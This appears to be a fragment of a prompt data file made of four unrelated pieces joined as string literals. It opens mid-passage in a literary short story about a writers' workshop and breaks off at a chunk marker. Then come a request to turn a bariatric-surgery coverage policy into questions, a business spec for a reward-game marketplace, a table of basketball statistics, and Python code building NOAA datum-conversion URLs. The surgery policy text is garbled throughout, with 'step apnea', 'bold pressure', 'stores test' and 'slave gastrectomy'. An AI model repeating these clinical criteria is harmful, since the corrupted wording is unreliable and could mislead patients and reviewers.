father, who attended a Holy Spirit Revival church and didn’t speak to people on the street because they were not saved. The Zimbabwean, Tanzanian, white South African, and Senegalese all spoke about their fathers. They looked at Ujunwa and she realized that she was the only one who had said nothing, and for a moment the wine no longer fogged her mind. She shrugged and mumbled that there was really little to say about her father. He was a normal person. “Is he in your life?” the Senegalese asked, with the soft tone that meant she assumed he was not, and for the first time her Francophone accent irritated Ujunwa. “He is in my life,” Ujunwa said with a quiet force. “He was the one who bought me books when I was a child and the one who read my early poems and stories.” She paused, and everyone was looking at her and she added, “He did something that surprised me. It hurt me, too, but mostly it surprised me.” The Senegalese looked as if she wanted to ask more but changed her mind and said she wanted more wine. “Are you writing about your father?” the Kenyan asked and Ujunwa answered with an emphatic NO because she had never believed in fiction as therapy. The Tanzanian told her that all fiction was therapy, some sort of therapy, no matter what anybody said. That evening, Ujunwa tried to write, but her eyeballs were swimming and her head was aching and so she went to bed. After breakfast, she sat before the laptop and cradled a cup of tea. Chioma gets a call from Merchant Trust bank, one of the places her father contacted. He knows the chairman of the board. She is hopeful; all the bank people she knows drive nice secondhand Jettas and have nice flats in Gbagada. The deputy manager interviews her. He is dark and good-looking and his glasses have an elegant designer logo on the frames and, as he speaks to her, she desperately wishes he would notice her. He doesn’t. He tells her that they would like to hire her to do marketing, which will mean going out and bringing in new accounts. She will be working with Yinka. If she can bring in ten million naira during her trial period, she will be guaranteed a permanent position. She nods as he speaks. She is used to men’s attention and is sulky that he does not look at her as a man looks at a woman, and she does not quite understand what he means by going out to get new accounts until she starts the job two weeks later. A uniformed driver takes her and Yinka in an air-conditioned official Jeep—she runs her hand over the smooth leather seat, is reluctant to climb out—to the home of an alhaji in Ikoyi. The alhaji is avuncular and expansive with his smile, his hand gestures, his laughter. Yinka has already come to see him a few times before and he hugs her and says something that makes her laugh. He looks at Chioma. “This one is too fine,” he says. A steward serves frosted glasses of chapman. The alhaji speaks to Yinka but looks often at Chioma. Then he asks Yinka to come closer and explain the high-interest savings accounts to him and then he asks her to sit on his lap and doesn’t she think he’s strong enough to carry her? Yinka says of course he is and sits on his lap, smiling a serene smile. Yinka is small and fair; she reminds Chioma of the Yellow Woman. What Chioma knows of the Yellow Woman is what her mother told her. One slow afternoon, the Yellow Woman had walked into her mother’s boutique on Adeniran Ogunsanya Street. Her mother knew who the Yellow Woman was, knew the relationship with her husband had been on for a year, knew that he had paid for the Yellow Woman’s Honda Accord and her flat in Ilupeju. But what drove her mother crazy was the insult of this: the Yellow Woman coming to her boutique, looking at shoes and planning to pay for them with money that really belonged to her husband. So her mother yanked at the Yellow Woman’s weave-on that hung to her back and screamed “Husband snatcher!” and the salesgirls joined in, slapping and beating the Yellow Woman until she ran out to her car. When Chioma’s father heard of it, he shouted at her mother and said she had acted like one of those wild women from the street, had disgraced him, herself, and an innocent woman for nothing. Then he left the house. Chioma came back from National Youth Service and noticed that her father’s wardrobe was empty. Aunty Elohor, Aunty Rose, and Aunty Uche had all come and said to her mother, “We are prepared to go with you and beg him to come back home or we will go and beg on your behalf.” Chioma’s mother said, “Never, not in this world. I am not going to beg him. It is enough.” Aunty Funmi came and said the Yellow Woman had tied him up with medicine and she knew a good babalawo who could untie him. Chioma’s mother said, “No, I am not going.” Her boutique was failing, because Chioma’s father had always helped her import shoes from Dubai. So she lowered prices, advertised in Joy and City People, and started stocking shoes made in Aba. Chioma is wearing a pair of those shoes the morning she sits in the alhaji’s sitting room and watches Yinka, perched on the expansive lap, talking about the benefits of a savings account with Merchant Trust Bank. . . . At first, Ujunwa tried not to notice that Edward often stared at her body, that his eyes were never on her face but always lower. The workshop days had taken on a routine of breakfast at eight and lunch at one and dinner at six in the grand dining room. On the sixth day, a blisteringly hot day, Edward handed out copies of the first story to be reviewed, written by the Zimbabwean. The participants were all seated on the terrace, and after he handed out the papers, Ujunwa saw that all the seats under the umbrellas were occupied. “I don’t mind sitting in the sun,” she said, already getting up. “Would you like me to stand up for you, Edward?” “I’d rather like you to lie down for me,” he said. The moment was humid, thick; a bird cawed from far away. Edward was grinning. Only the Ugandan and the Tanzanian had heard him. Then the Ugandan laughed. And Ujunwa laughed, because it was funny and witty, she told herself, when you really thought about it. After lunch, she took a walk with the Zimbabwean and as they stopped to pick up shells by the sea, Ujunwa wanted to tell her what Edward had said. But the Zimbabwean seemed distracted, less chatty than usual; she was probably anxious about her story. Ujunwa read it that evening. She thought the writing had too many flourishes, but she liked the story and wrote appreciations and careful suggestions in the margins. It was familiar and funny, about a Harare secondary schoolteacher whose Pentecostal minister tells him that he and his wife will not have a child until they get a confession from the witches who have tied up his wife’s womb. They become convinced that the witches are their next-door neighbors, and every morning they pray loudly, throwing verbal Holy Ghost bombs over the fence. After the Zimbabwean read an excerpt the next day, there was a short silence around the dining table. Then the Ugandan spoke and said there was much energy in the prose. The white South African nodded enthusiastically. The Kenyan disagreed. Some of the sentences tried so hard to be literary that they didn’t make sense, he said, and he read one such sentence. The Tanzanian man said a story had to be looked at as a whole and not in parts. Yes, the Kenyan agreed, but each part had to make sense in order to form a whole that made sense. Then Edward spoke. The writing was certainly ambitious, but the story itself begged the question “So what?” There was something terribly passé about it when one considered all the other things happening in Zimbabwe under the horrible Mugabe. Ujunwa stared at Edward. What did he mean by “passé”? How could a story so true be passé? But she did not ask what Edward meant and the Kenyan did not ask and the Ugandan did not ask and all the Zimbabwean did was shove her dreadlocks away from her face, cowries clinking. Everyone else remained silent. Soon they all began to yawn and say good night and walk to their cabins. The next day, they did not talk about the previous evening. They talked about how fluffy the scrambled eggs were and how eerie the jacaranda leaves that rustled against their windows at night were. After dinner, the Senegalese read from her story. It was a windy night and they shut the door to keep out the sound of the whirling trees. The smoke from Edward’s pipe hung over the room. The Senegalese read two pages of a funeral scene, stopping often to sip some water, her accent thickening as she became more emotional, each t sounding like a z. Afterwards, everyone turned to Edward, even the Ugandan, who seemed to have forgotten that he was workshop leader. Edward chewed at his pipe thoughtfully before he said that homosexual stories of this sort weren’t reflective of Africa, really. “Which Africa?” Ujunwa blurted out. The black South African shifted on his seat. Edward chewed further at his pipe. Then he looked at Ujunwa in the way one would look at a child who refused to keep still in church and said that he wasn’t speaking as an Oxford-trained Africanist, but as one who was keen on the real Africa and not the imposing of Western ideas on African venues. The Zimbabwean and Tanzanian and white South African began to shake their heads as Edward was speaking. “This may indeed be the year 2000, but how African is it for a person to tell her family that she is homosexual?” Edward asked. The Senegalese burst out in incomprehensible French and then, a minute of fluid speech later, said, “I am Senegalese! I am Senegalese!” Edward responded in equally swift French and then said in English, with a soft smile, “I think she had too much of that excellent Bordeaux,” and some of the participants chuckled. Ujunwa was the first to leave. She was close to her cabin when she heard somebody call her and she stopped. It was the Kenyan. The Zimbabwean and the white South African were with him. “Let’s go to the bar,” the Kenyan said. She wondered where the Senegalese was. In the bar, she drank a glass of wine and listened to them talk about how the other guests at Jumping Monkey Hill —all of whom were white—looked at the participants suspiciously. The Kenyan said a youngish couple had stopped and stepped back a little as he approached them on the path from the swimming pool the day before. The white South African said she got suspicious looks, too, perhaps because she wore only kente-print caftans. Sitting there, staring out into the black night, listening to the drink-softened voices around her, Ujunwa felt a self-loathing burst open in the bottom of her stomach. She should not have laughed when Edward said “I’d rather like you to lie down for me.” It had not been funny. It had not been funny at all. She had hated it, hated the grin on his face and the glimpse of greenish teeth and the way he always looked at her chest rather than her face, the way his eyes climbed all over her, and yet she had made herself laugh like a deranged hyena. She put down her half-finished glass of wine and said, “Edward is always looking at my body.” The Kenyan and the white South African and Zimbabwean stared at her. Ujunwa repeated, “Edward is always looking at my body.” The Kenyan said it was clear from the first day that the man would be climbing on top of that flat stick of a wife and\n=== END OF CHUNK ===' +"I want you to act like a medical policy reader. Provide me with all appropriate questions for each criteria from point 1 to point 7 for surgeries mentioned in first point A Roux-en-Y Gastric Bypass (RYGB) below in Medical Necessity as truthfully as possible. Your task is to generate a set of questions based on the selection criteria listed, maintaining their hierarchy. Each question should focus on one specific selection criteria and be phrased in a clear and concise manner.\nPlease ensure that each question is relevant to the corresponding criterion and encourages accurate and informative responses. \nAnswer in table format where column is surgery name and rows would be question for selection criteria of column surgery.\nI. Medical Necessity\nA. Roux-en-Y Gastric Bypass (RYGB), Laparoscopic Adjustable Silicone Gastric Banding (LASGB), Steve Gastrectomy, Biliopancreatic Diversion (BPD), Duodenal Switch (DS) Procedures, Single Anastomosis Duodenal-Ileal Switch (SADI-S), and Steve Gastrectomy with Single Anastomosis Duodeno- Ileal Bypass (SIPS) Open or laparoscopic short or long-limb Roux-en-Y gastric bypass (RYGB), open or laparoscopic slave gastrectomy, open or laparoscopic biliopancreatic diversion (BPD) with or without duodenal switch (DS), laparoscopic adjustable silicone gastric banding (LASGB), open or laparoscopic single anastomosis duodenal-ileal switch (SADI-S), OR, open or laparoscopic slave gastrectomy with single anastomosis duodeno-ileal bypass (SIPS) is considered medical necessary when the selection criteria listed below are met: 1. Must met either a (adults) or b (adolescents): a. For adults aged 18 years or older, presence of persistent severe obesity, documented in contemporaneous clinical records, defned as any of the following: i. Body mas index (BMI) (se Appendix) exceeding 40 measured prior to preoperative preparatory program; or ii. BMI greater than 35 measured prior to preoperative preparatory program in conjunction with any of the following severe co-morbidities: a. Clinical signifcant obstructive step apnea (i.e., person mets the criteria for treatment of obstructive step apnea set forth in CPB 04 - Obstructive Sep Apnea in Adults (../1\\_99 /0004.html)); or b. Coronary heart disease, with objective documentation (by exercise stores test, radionuclide stores test, pharmacologic stores test, stores echocardiography, CT angiography, coronary angiography, heart failure or prior myocardial infarction); or c. Medical refractory hypertension (bold pressure greater than 140 mg systolic and/or 90 mg diastolic despite concurrent use of 3 anti- hypertensive agents of diferent class); or d. Type 2 diabetes mellitus; or e. Nonalcoholic steatohepatitis (NASH)\\*; or b. For adolescents who have completed bone growth (general age of 13 in girls and age of 15 in boys), presence of obesity with severe co-morbidities: i. BMI exceeding 40 with one or more of the following serious co-morbidities: a. Clinical signifcant obstructive step apnea; or b. Type 2 diabetes mellitus; or c. Nonalcoholic steatohepatitis (NASH)\\*; or d. Pseudotumor comorbidities; \\* Note: NASH determination may include either a liver biopsy or the presence of advanced hepatic fbrosis identifed by FibroScan, FibroTest- ActiTest, magnetic resonance elastography, or Enhanced Liver Fibrosis (ELF) test (se also CPB 0690 - Noninvasive Tests for Hepatic Fibrosis (../600\\_699/0690.html) ). ii. BMI exceeding 50 with one or more of the following les serious co-morbidities: a. Medical refractory hypertension; or b. Dyslipidemias; or c. Nonalcoholic steatohepatitis; or d. Venous stasis disease; or e. Signifcant impairment in activities of daily living; or f. Intertriginous soft-tissue infections; or g. Stores urinary incontinence; or h. Gastroesophageal refux disease; or i. Weight-related arthropathies that impair physical activity; or j. Obesity-related psychosocial distress; 2. Member has attempted weight los in the past without successful long-term weight reduction; and Member has participated in an intensive multicomponent behavioral intervention designed to help participants achieve or maintain weight los through a combination of dietary changes and increased physical activity. This intensive multicomponent behavioral intervention must met all of the following criteria: a. Member's participation in an intensive multicomponent behavioral intervention must be documented in the medical record. Records must document compliance with the program. Note: A summary later, without evidence of contemporaneous oversight, is not sufcient documentation. Documentation should include medical records of contemporaneous assessment of member's progress throughout the course of the nutrition and exercise program. For members who participate in an intensive multicomponent behavioral intervention (e.g., Jenny Craig, MediFast, Minute Clinic/Health Hubs, OptiFast, Weight Watchers), program records documenting the member's participation and progress may substitute for medical records; and b. Intensive multicomponent behavioral intervention may be in-person or remote, and may be group or individual- based; and c. Program must be intensive (12 or more sessions on separate dates over any duration of time) and our within 2 years prior to surgery. Note: Programs may extend beyond two years if the fnal session cured within two years prior to surgery; and d. The intensive multicomponent behavioral intervention program must have components focusing on nutrition, physical activity, and behavioral modifcation (e.g., self- monitoring, identifying barriers, and problem solving). The multicomponent behavioral intervention program may be supervised by behavioral therapists, psychologists, registered dietitians, exercise physiologists, lifestyle coaches or other staf; and 3. Screening for diabetes, with initiation of appropriate treatment for persons diagnosed with diabetes based on a HgbA1c of 6.5% or above, a fasting bold glucose (FBG) of 126 mg/dL or above, or an oral glucose tolerance test (GT) of 200 mg/dL or above at 2 hours. Note: Screening is not required for persons already diagnosed with diabetes; and 4. Screening for obstructive step apnea (OSA), using a validated screening questionnaire (including the En, STOP Questionnaire (Snoring, Tirednes, Observed Apnea, High Bold Pressure), STOP-Bang Questionnaire (STOP Questionnaire plus BMI, Age, Neck Circumference, and Gender), Berlin Questionnaire, Wisconsin Sep Questionnaire, or the Multivariable Apnea Prediction (MVAP) tool). The medical records should document that OSA screening has ben performed, although the results of such screening do not ned to be forwarded to Aetna for review. Note: Screening is not required for persons already diagnosed with OSA; and 5. Cardiac clearance by a cardiologist for persons with a history of cardiac disease; and 6. Optimized glycemic control, as evidenced by any of the following: fasting bold glucose les than 110 mg/dL, two hour postprandial bold glucose level les than 140 mg/dL, or hemoglobin A1C (HbA1c) les than 7 percent (les than 8 percent in persons with a history of poorly controlled type 2 diabetes) within 6 months prior to surgery (within 3 months prior to surgery for persons with diabetes); for persons with diabetes who are unable to achieve glycemic control (i.e., persons with a HbA1c greater than 8 percent), there should be documentation of consultation with an endocrinologist or diabetologist prior to surgery to ensure that all appropriate actions have ben taken to improve glycemic control; and 7. For members who have a history of severe psychiatric disturbance (schizophrenia, borderline personality disorder, suicidal ideation, severe depression) or who are currently under the care of a psychologist/psychiatrist or who are on psychotropic medications, pre-operative psychological clearance is necessary in order to exclude members who are unable to provide informed consent or who are unable to comply with the pre- and post-operative regimen. Note: The presence of depression due to obesity is not normal considered a contraindication to obesity surgery." +'Win’it is a unique online marketplace where merchants and brands can create special offers for customers, giving them a chance to win their money back from a purchase. \n\nThe platform incentivizes customers to make a purchase by offering them the opportunity to win their money back, which is funded by the merchant. The game is visualized to the player as a wheel of fortune, which creates a fun and engaging experience.\n\nPlayers have the opportunity to bank their rewards and not play a game.\n\nWin’it had been created using Xano.com for its backend.\nWe will create the following logic using python and host it on Amazon with APIs and webhook created on Xano. \n\nPoints, \nWin’it has its own virtual currency, called "points," with an exchange rate of £1 = 100 points. \nPoints earned \nPoints are earned via the following 2 ways\nPlayer Wins a cash reward game.\nPlayer “Banks”, a cash reward game, \nPoints redeemable\nPoints are redeemable in 3 ways, \nCash.\nBonus retries.\nMerchant credit. \n \n\n \nBonus retries\nPlayers obtain bonus retry, funded by win’it\n\nIn return for refereeing, friends who then make a purchase.\n\nPlayer\'s bonus retries can be used to play a game that\'s just been lost but still active, e.g. you can not go back and play a game that\'s been lost yesterday.\n\nBonus retries can only be used one per game unless the player has invited 3 new players who have made a purchase, In this case, the player can use unlimited bonus per game\n \nThe odds generated by the bonus retries are based on the cost of the “win” against the value of the retry. \nFor example, a bonus retry with a value of 100 points will give odds of 1-10 to win £10 credit in a cash reward game . \nBonus points a player during a merchant campaign should be reporting, but as an appendix to merchant reporting, and they should not affect the dynamic odds. \n\nFunding of bonus retries, e.g. paid for by the following \nWin’it\nMerchants\n\nMerchant Credit\nMerchant Credit, is a cash value credit that is issued by Win’it on behalf of the merchant and can be spent with that merchant,\nit can be obtained in 3 ways. \n\nGetting merchant credit,\nWinning a game, “credit reward game.”\nBank’it, a player can choose to “bank” e.g. take the option not to play and instead take a credit. \nPurchased for points.\n\nSpending merchant credit, 2 ways,\nMerchant “charge back credit”,\nPlayer “A” has £10 in credit with Merchant “B” \nPlayer “A” spends £5 with Merchant “B” using their linked bank account.\nPlayer “A” bank alerts Win’it via push or pull API call of player transaction.\nWin’it sends £5 to the player.\n 2. Issuing a QR code via API from the merchant POS, the merchant POS accepts the code as part or full payment.\n\nMerchant credit exchange\nMerchants can choose to discount credit to both Win’it or the players, e.g.\n\nExample of player buying merchant credit \nA merchant offer to sell credit at a 50% discount\nA player exchanges, 1000 points in return for £20 in merchant credit\n\nExample of win’it buying merchant credit \nA player wins, a £10 “credit reward game”, using bonus retry funded by win’it\nWin’it issues the credit to the player.\nWin’it pays the merchant £5 e.g. 50% discount for the credit.\n\nOption for additional value, based on the time of day or day.\nIncreased discount e.g. \nA merchant offer to sell credit at a 50% discount\nA player exchanges 1000 in return for £20 in merchant credit\nDiscount of 60% if used between 1 and 2p Monday to Thursday\n\nTwo campaign types\nThere are two campaign types that merchants can choose from when creating their offer:\ncredit reward campaign. \ncash reward campaign,\nIn a credit reward campaign, the player receives credit that can be used to purchase goods or services up to the value of the credit.\nIn contrast,\na cash reward campaign provides the player with points that can be redeemed for cash.\n \nExamples of the financial model of a “credit reward campaign game”,\nCredit Reward Campaign:\nOdds of winning: 1-2 (decimal odds of winning are 2.0)\nNumber of transactions played: 10 x £10 = £100 (average transaction size is £10, and 10 transactions are played)\nTotal revenue generated: £100 (total value of transactions played)\nNumber of winners: 5\nAmount of credit issued to each winner: £10\nTotal amount of credit issued: £50 (5 winners x £10 credit per winner)\nMerchant\'s gross profit margin: 80% (merchant keeps 80% of revenue from each transaction, while the remaining 20% is the cost of goods sold, or COGS)\nCost of credit to the merchant: £10 (cost to the merchant for issuing £10 credit to each winner)\nCost of goods sold: £20 (20% of £100 in revenue)\nNet revenue: £90 (total revenue minus the cost of goods sold\n\nBank’it credits\nExamples of a credit reward campaign and its option of “Bank’it credits”\nThe player can choose not to play and instead take the reward that would have funded the game, including the sales margin inputted by the merchant, e.g.\nPlayer has a game to win £10, \nOdds of 1-10\nThe profit margin is 80%,as outlined above.\nPlayer chooses to “bank” and not play \nPlayer receives £1 in merchant credit\nCost £0.20 \nhttps://shareg.pt/5r0AmqR\n\nExamples of the financial model for a ‘cash reward campaign”\nCash Reward Campaign:\nOdds of winning: 1-2 (decimal odds of winning are 2.0)\nNumber of transactions played: 10 x £10 = £100 (average transaction size is £10, and 10 transactions are played)\nTotal revenue generated: £100 (total value of transactions played)\nNumber of winners: 5\nAmount of cash issued to each winner: £10\nTotal amount of cash: £50 (5 winners x £10 per winner)\nCost of cash rewards to the merchant: £50 (cost to the merchant for issuing £10 cash to each winner)\nCost of goods sold: £20 (20% of £100 in revenue)\nNet revenue: £50 (total revenue minus the cost of goods sold and the cost of issuing cash rewards)\nNet profit: £30 (net revenue minus the cost of cash rewards to the merchant)\nThe merchant funds the cash rewards for the winners, and the odds of winning are determined by the merchant.\n \nBank’it points,\nExamples of a cash reward campaign, “Bank’it credits”,\nThe player can choose not to play and instead take the reward that would have funded the game, e.g.\nPlayer has a game to win £10, \nOdds of 1-10\nPlayer chooses to “bank” and not play \nPlayer receives 100 points\nCost £1\n\nDynamic odds \nOption for additional odds, based on the time of day or day.\nIncreased odd e.g.\nOdds of 1-5 at standard times/date, or odds of 1-3 if used between 1 and 2p Monday to Thursday\nDynamic discount\nOption for Increased discount, e.g. based on the time of day or day.\nA merchant offer to sell credit at a 50% discount\nA player exchanges 1000 in return for £20 in merchant credit\nDiscount of 60% if used between 1 and 2p Monday to Thursday\n\nOfferwall\nOffers are displayed on our offer wall and searchable based on \nCategory,\nMerchant \nGeolocation \nThe player must opt in to taking an offer for the offer to become active for the player.\n\n\nConfirmation of transaction, e.g. purchase\nWhen a player makes a purchase with a merchant offer, \nthe merchant has one of 3 options for payment confirmation.\nLinked bank account using API provided by https://nordigen.com\nMerchant POS integration using API\nRecipe uploaded and read using https://nanonets.com\n\n\nPlayer wallet reporting \nMerchant Credit Balance\nOffer Status (Active/Redeemed/Expired)\nOffer Date Offered\nOffer Date Redeemed\nTransaction Amount\nTransaction Date\nPoints Earned\nPoints Redeemed\nPoints Balance\n\nThe Referral Program:\nEach player receives a unique invite code.\nWhen the code is used by a friend, e.g. the invited,\nRewards, both the invitee and invited receive a reward of 5 bonus retries, each bonus retry has a 50 point value. \n\nRules\nThe invitee must register, and makes a purchase related to a Win’it offers.\n\nReferral reports for players\nThe invitee can view the status of their invited friends, including \nRegistered date\nPurchase date\nPoints earned from the referral\n\nLevels \nNewby, just signed up\nPlayer, has played a game\nSocial, a player who has invited 3 members who took part in a merchant offer at least once. \nBenefits can play as many Bonus retries per game as they have.\nMerchant reporting\nThe merchant reporting feature allows merchants to view their performance metrics, including the number of players who have opted into their offers, the redemption rates of their offers, and the total transaction volume generated by their offers. They can also view detailed transaction histories and player profiles, as well as track their credits and bonuses. This helps merchants make data-driven decisions and optimize their marketing strategies for better engagement and revenue.' +'next block. just confirm receipt, dont reprint:\n\nFlorida Atlantic 34 31 3 0.912 40.2 78.8 28.2 59.8 0.472 9.8 26.3 0.372 12.6 17.5 0.716 9.7 27 36.7 14.6 6.8 2.5 11.5 15.9\nUC Irvine 34 23 11 0.676 40.1 75.3 27.8 58.9 0.472 7.1 18.6 0.384 12.5 17.4 0.72 8.5 26.3 34.8 14.9 6.9 2.4 12.1 18.9\nIllinois-Chicago 32 12 20 0.375 40.3 67.2 23.3 56.1 0.416 8 24.2 0.329 12.5 19.1 0.655 7.5 22.9 30.3 13.2 6.4 4.7 12.5 17.5\nSouth Dakota State 32 19 13 0.594 40.2 70.9 25.4 56.4 0.45 7.7 21.9 0.351 12.5 15.8 0.792 6.1 24.5 30.6 10.7 5.2 2.9 11.3 14.3\nIndiana 33 22 11 0.667 40.1 75.1 28.5 58.1 0.49 5.7 15.3 0.37 12.5 17.5 0.713 8.2 25.8 34 15.4 5.8 4.9 11.4 17.3\nSouth Carolina State 31 5 26 0.161 40.4 73.5 27.1 64.1 0.422 6.9 21.7 0.318 12.5 18.6 0.668 12.7 20.8 33.5 14 7.2 3.3 15.7 20.7\nTennessee Tech 33 16 17 0.485 40.9 73.7 26.1 59.6 0.437 9.2 25.1 0.364 12.4 17.3 0.719 8.7 24.4 33.1 14.4 6.3 2.4 12.2 16\nMonmouth 33 7 26 0.212 40 61.7 22.6 56.2 0.402 4.1 14.1 0.288 12.4 18.6 0.667 9.8 21.2 31.1 12 8.4 2.5 14.1 19.2\nYale 29 21 8 0.724 40.3 76.2 28.2 58.6 0.481 7.5 20.7 0.362 12.4 17.8 0.696 9.3 27.1 36.4 14.7 6.3 4.2 11 17.4\nLouisiana-Monroe 32 11 21 0.344 40.3 67.4 23.7 58.2 0.408 7.6 21.6 0.351 12.4 17.4 0.713 9.8 23.4 33.2 12.6 6.9 3.6 12.2 15.1\nNorth Texas 33 26 7 0.788 40.3 64.2 22.3 51.1 0.436 7.2 20.6 0.351 12.4 16.5 0.75 9.8 21.9 31.7 11.1 6.3 2.9 11.3 16.4\nColorado 33 17 16 0.515 39.8 70 25.6 58.9 0.434 6.5 20.5 0.319 12.4 17.8 0.693 10.4 25.1 35.4 13 7.6 3.6 13 16.3\nWofford 33 17 16 0.515 40.5 74.7 27.5 58 0.473 7.5 22.7 0.33 12.3 16.7 0.737 8.7 23 31.7 12.5 5.7 2.1 10.8 14.2\nOral Roberts 34 30 4 0.882 40 84.2 30.6 63.8 0.479 10.8 29.3 0.369 12.3 15.9 0.776 8.2 27.4 35.5 14.8 6.9 5.2 9.1 13.1\nLoyola Marymount 31 19 12 0.613 40.4 75.3 26.8 59.1 0.454 9.3 25.5 0.365 12.3 18.4 0.671 9.6 24.7 34.4 11.7 5.5 2.8 12.2 19.4\nNorthern Illinois 32 13 19 0.406 40 72 26.2 56.8 0.461 7.4 21.2 0.348 12.3 18.9 0.652 7.8 23.3 31.1 12.6 6.4 2.3 13.8 19.3\nPresbyterian 32 5 27 0.156 40.3 63.2 22.4 53.4 0.42 6 19.3 0.31 12.3 19.7 0.625 9.9 21.2 31.2 10.8 5.5 3.1 13.3 19.3\nArkansas State 33 13 20 0.394 40.1 65.7 23.5 54.5 0.432 6.3 18 0.352 12.3 18.2 0.677 9.3 23.1 32.4 13.1 6.7 3.3 11.3 16.8\nRider 30 16 14 0.533 40.5 70.2 26.4 58.2 0.454 5 15 0.334 12.3 16.7 0.735 10.5 23.8 34.3 11.4 5.4 2.2 10.9 18.3\nMaryland-Eastern Shore 31 18 13 0.581 40 69.7 25 58.5 0.428 7.4 23.2 0.318 12.3 17.1 0.719 9.4 21.3 30.6 13.5 11.1 1.9 14.5 16.6\nTowson 33 21 12 0.636 40.4 71.8 26.1 58.2 0.447 7.4 20.1 0.367 12.3 17.3 0.708 11.2 24.1 35.3 14 6.2 3.4 11.8 16.3\nMontana 31 17 14 0.548 40.1 69.3 24.6 53.2 0.462 7.9 21.2 0.372 12.2 15.5 0.788 6.5 22 28.5 12.2 4.7 2.4 10.8 18.1' +'learn this code: #!/usr/bin/env python3\n# -\\*- coding: utf-8 -\\*-\n"""\nCreated on Thu Feb 9 16:24:11 2023\n\n@author: ericallen\n"""\nimport os\nimport sys\nimport pandas as pd\nimport requests\nimport numpy as np\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(\\_\\_file\\_\\_), \'..\')))\nfrom src.check\\_url import check\\_url\nfrom src.find\\_exception import find\\_h\\_ref\\_exception\nfrom src.get\\_urls import create\\_hyperlink\ndef convert\\_datums(metadata, input\\_v="NAVD88", output\\_v="MLLW", input\\_height=None,\\\n elevation={\'input\\_v\\_elevation\':\'height\', "target\\_v\\_elevation":\'height\'}):\n """\n inputlon = "-73.74" #Lon from spreadsheet\n inputlat = "40.59" #Lat from spreadsheet\n inputheight = "0" #height from spreadsheet\n region = region\\_dict["Contiguous United States"] #come up with a way to\n determine if Contiguous or Chesapeake/Delaware Bay\n input\\_v\\_ref = "NAVD88" #Datum being converted from spreadsheet\n target\\_v\\_ref = "MLLW" #Datum your are trying to convert to\n\n input\\_h\\_ref = "NAD83\\_2011" #Should stay the same\n input\\_h\\_coord = "geo" #Should stay the same\n input\\_v\\_unit = "us\\_ft" #Unit should be feet\n input\\_v\\_elevation = "height" #Should stay the same\n target\\_h\\_ref = "NAD83\\_2011" #Should stay the same\n target\\_h\\_coord = "geo" #Should stay the same\n target\\_v\\_unit = "us\\_ft" #Should stay the same\n target\\_v\\_elevation = "height" #should stay the same\n api\\_url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?"\n f"s\\_x={inputlonv}&s\\_y={inputlat}&s\\_z={inputheight}&"\n f"region={region}&s\\_h\\_frame={input\\_h\\_ref}&s\\_coor={input\\_h\\_coord}&"\n f"s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={input\\_v\\_elevation}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={target\\_v\\_elevation}")\n\n Parameters\n ----------\n metadata : TYPE\n DESCRIPTION.\n input\\_v : TYPE, optional\n DESCRIPTION. The default is "NAVD88".\n output\\_v : TYPE, optional\n DESCRIPTION. The default is "MLLW".\n s\\_z : TYPE, optional\n DESCRIPTION. The default is None.\n\n Returns\n -------\n metadata : TYPE, dataframe\n DESCRIPTION. Holds all the gage information\n\n url\\_list : TYPE, list\n DESCRIPTION. Holds a list of all the url api calls for future reference\n\n """\n output\\_column\\_header = input\\_v + " to " + output\\_v\n input\\_h\\_coord = "geo"\n input\\_v\\_unit = "us\\_ft"\n target\\_h\\_coord = "geo"\n target\\_v\\_unit = "us\\_ft"\n #removed to shorten urls but left option to include...\n #input\\_v\\_elevation = "height"\n #target\\_v\\_elevation = "height"\n\n url\\_list = []\n for index, row in metadata.iterrows():\n\n input\\_region = row["VDatum Regions"]\n s\\_y = row["Latitude"]\n s\\_x = row["Longitude"]\n\n input\\_v\\_ref = input\\_v\n target\\_v\\_ref = output\\_v\n\n if input\\_height is None:\n s\\_z = row[row["Ref\\_Datum"]]\n else:\n s\\_z = input\\_height\n\n input\\_h\\_ref = "{0}"\n target\\_h\\_ref = "{1}"\n\n if elevation["input\\_v\\_elevation"]=="height" and elevation["target\\_v\\_elevation"]=="height":\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}")\n else:\n\n url = (f"https://vdatum.noaa.gov/vdatumweb/api/convert?s\\_x={s\\_x}&s\\_y={s\\_y}"\n f"&s\\_z={s\\_z}®ion={input\\_region}&s\\_h\\_frame={input\\_h\\_ref}&"\n f"s\\_coor={input\\_h\\_coord}&s\\_v\\_frame={input\\_v\\_ref}&s\\_v\\_unit={input\\_v\\_unit}&"\n f"s\\_v\\_elevation={elevation[\'input\\_v\\_elevation\']}&t\\_h\\_frame={target\\_h\\_ref}&"\n f"t\\_coor={target\\_h\\_coord}&t\\_v\\_frame={target\\_v\\_ref}&"\n f"t\\_v\\_unit={target\\_v\\_unit}&t\\_v\\_elevation={elevation[\'target\\_v\\_elevation\']}")\n\n if input\\_region == "contiguous":\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "NAD83\\_2011"\n input\\_v\\_ref = input\\_v\n\n elif input\\_region == "chesapeak\\_delaware":\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "IGS14"\n input\\_v\\_ref = input\\_v\n\n elif input\\_region == "westcoast":\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "IGS14"\n input\\_v\\_ref = input\\_v\n\n elif input\\_region == "prvi":\n print("WARNING: NWM Uses LMSL for Puerto Rico domain")\n input\\_v\\_ref = "LMSL"\n input\\_h\\_ref = "NAD83\\_2011"\n target\\_h\\_ref = "NAD83\\_2011"\n\n elif input\\_region == "hi":\n print("ERROR: VDatum Cannot Handle Conversion from NAVD88 to Tidal Datums for Hawaii")\n input\\_v\\_ref = 